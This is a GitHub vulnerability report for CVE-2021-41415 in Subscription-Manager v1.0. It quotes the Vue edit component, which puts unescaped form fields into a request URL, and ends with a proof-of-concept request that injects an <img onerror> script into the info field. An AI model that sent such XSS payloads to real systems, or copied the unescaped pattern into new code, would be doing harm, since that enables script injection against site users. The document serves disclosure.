Headline
CVE-2021-41415: Subscription-Manager v1.0 /main.js hava a XSS Vulnerability · Issue #2 · youranreus/Subscription-Manager
Subscription-Manager v1.0 /main.js has a cross-site scripting (XSS) vulnerability in the machineDetail parameter.
Vulnerability file:
/main.js
let machine_edit_component = Vue.component(‘Machine_edit_component’,{
template:`
<div class="container">
<div id="machine-edit">
<h2>✍ 正在编辑-{{machineDetail.name}} <span @click="goBack">🔙 返回</span><span @click="goDelete">🗑️ 删除</span></h2>
<br/>
<h3>基本信息</h3>
<br/>
<div class="form-input-material">
<input
class="form-control-material"
type="text"
name="name"
id="name"
placeholder=" "
autocomplete="off"
v-model="machineDetail.name"
/>
<label for="name">小鸡名</label>
</div>
<br/><br/>
<div class="form-input-material">
<input
class="form-control-material"
type="text"
name="fee"
id="fee"
placeholder=" "
autocomplete="off"
v-model="machineDetail.fee"
/>
<label for="fee">每月费用</label>
</div>
<br/><br/>
<div class="form-input-material">
<input
class="form-control-material"
type="text"
name="host"
id="host"
placeholder=" "
autocomplete="off"
v-model="machineDetail.HOST"
/>
<label for="host">主机商</label>
</div>
<br/><br/>
<div class="form-input-material">
<input
class="form-control-material"
type="text"
name="location"
id="location"
placeholder=" "
autocomplete="off"
v-model="machineDetail.location"
/>
<label for="location">位置</label>
</div>
<br/><br/>
<div class="form-input-material">
<input
class="form-control-material"
type="text"
name="ip"
id="ip"
placeholder=" "
autocomplete="off"
v-model="machineDetail.ip"
/>
<label for="ip">IP</label>
</div>
<br/><br/>
<div class="form-input-material">
<input
class="form-control-material"
type="text"
name="panel"
id="panel"
placeholder=" "
autocomplete="off"
v-model="machineDetail.panel"
/>
<label for="panel">面板地址</label>
</div>
<br/>
<br/>
<div class="form-input-material">
<input
class="form-control-material"
type="text"
name="deadline"
id="deadline"
placeholder=" "
autocomplete="off"
v-model="machineDetail.deadline"
/>
<label for="deadline">过期日期(yyyy-mm-dd)</label>
</div>
<br/>
<br/>
<div class="form-input-material">
<input
class="form-control-material"
type="text"
name="cycle"
id="cycle"
placeholder=" "
autocomplete="off"
v-model="machineDetail.cycle"
/>
<label for="cycle">付款周期(天)</label>
</div>
<br/>
<h3>自动续费开关</h3>
<div class="form-check">
<input type="radio" class="form-check-input bounce" id="auto-true" value="1" v-model="machineDetail.auto"/>
<label class="form-check-label" for="auto">自动续费</label>
</div>
<div class="form-check">
<input type="radio" class="form-check-input bounce" id="auto-false" value="0" v-model="machineDetail.auto"/>
<label class="form-check-label" for="auto">算了</label>
</div>
<h3>加入收藏</h3>
<div class="form-check">
<input type="radio" class="form-check-input bounce" value="1" v-model="machineDetail.liked"/>
<label class="form-check-label" for="liked">这必须收藏</label>
</div>
<div class="form-check">
<input type="radio" class="form-check-input bounce" value="0" v-model="machineDetail.liked"/>
<label class="form-check-label" for="liked">算了</label>
</div>
<br/>
<h3>备注</h3>
<textarea name="info" id="" cols="30" rows="10" v-model="machineDetail.info"></textarea>
<br><br>
<button class="btn btn-primary" @click="update">保存</button>
</div>
</div>
</div>
`,
data:function (){
return {
machineDetail : [],
logged: false
}
},
methods:{
getDetail: function(){
let url = window.location.href.replace(window.location.hash,’’);
axios.get(url + ‘X/index.php?action=getMachineDetail&id=’ + this.$route.params.id)
.then((response)=>{
this.machineDetail = response.data[0]
})
},
goBack: function(){
this.$router.go(-1)
},
goDelete: function(){
this.$router.push({path:’/machine/’+this.$route.params.id+’/delete’})
},
update: function(){
if(this.machineDetail[‘name’] !== ‘’ && this.machineDetail[‘liked’] !== ‘’ && this.machineDetail[‘deadline’] !== ‘’ && this.machineDetail[‘location’] !== ‘’ && this.machineDetail[‘fee’] !== ‘’ && this.machineDetail[‘cycle’] !== ‘’ && this.machineDetail[‘auto’] !== ‘’ && this.machineDetail[‘panel’] !== ‘’ && this.machineDetail[‘info’] !== ‘’ && this.machineDetail[‘HOST’] !== ‘’ && this.machineDetail[‘ip’] !== ‘’){
let url = window.location.href.replace(window.location.hash,’’);
axios.get(url + 'X/index.php?action=updateMachineDetail&id=’+this.$route.params.id + '&name=’+this.machineDetail[‘name’]+’&liked=’+this.machineDetail[‘liked’]+’&deadline=’+this.machineDetail[‘deadline’]+’&location=’+this.machineDetail[‘location’]+’&fee=’+this.machineDetail[‘fee’]+’&cycle=’+this.machineDetail[‘cycle’]+’&auto=’+this.machineDetail[‘auto’]+’&panel=’+this.machineDetail[‘panel’]+’&info=’+this.machineDetail[‘info’]+’&HOST=’+this.machineDetail[‘HOST’]+’&ip=’+this.machineDetail[‘ip’])
.then((response)=>{
if(response.data === 1){
alert(“编辑成功”)
this.$router.go(-1)
}
})
}else{
alert(‘有什么东西没填完?’);
}
}
},
mounted(){
this.logged = Cookies.get(‘UserStatus’)
if (this.logged !== ‘true’) {
this.$router.push({path: '/u’})
}
this.getDetail();
}
})
In the main.js file, the machineDetail parameter and the machineDetail parameter under the machineDetail.info method are controllable, and the machineDetail parameter is not strictly filtered, causing XSS injection vulnerabilities!
POC
/X/index.php?action=updateMachineDetail&id=1&name=测试机&liked=1&deadline=2020-12-10&location=深圳&fee=10&cycle=30&auto=0&panel=baidu.com&info=<img src="x" onerror="alert(1);">&HOST=阿里云&ip=1.1.1.1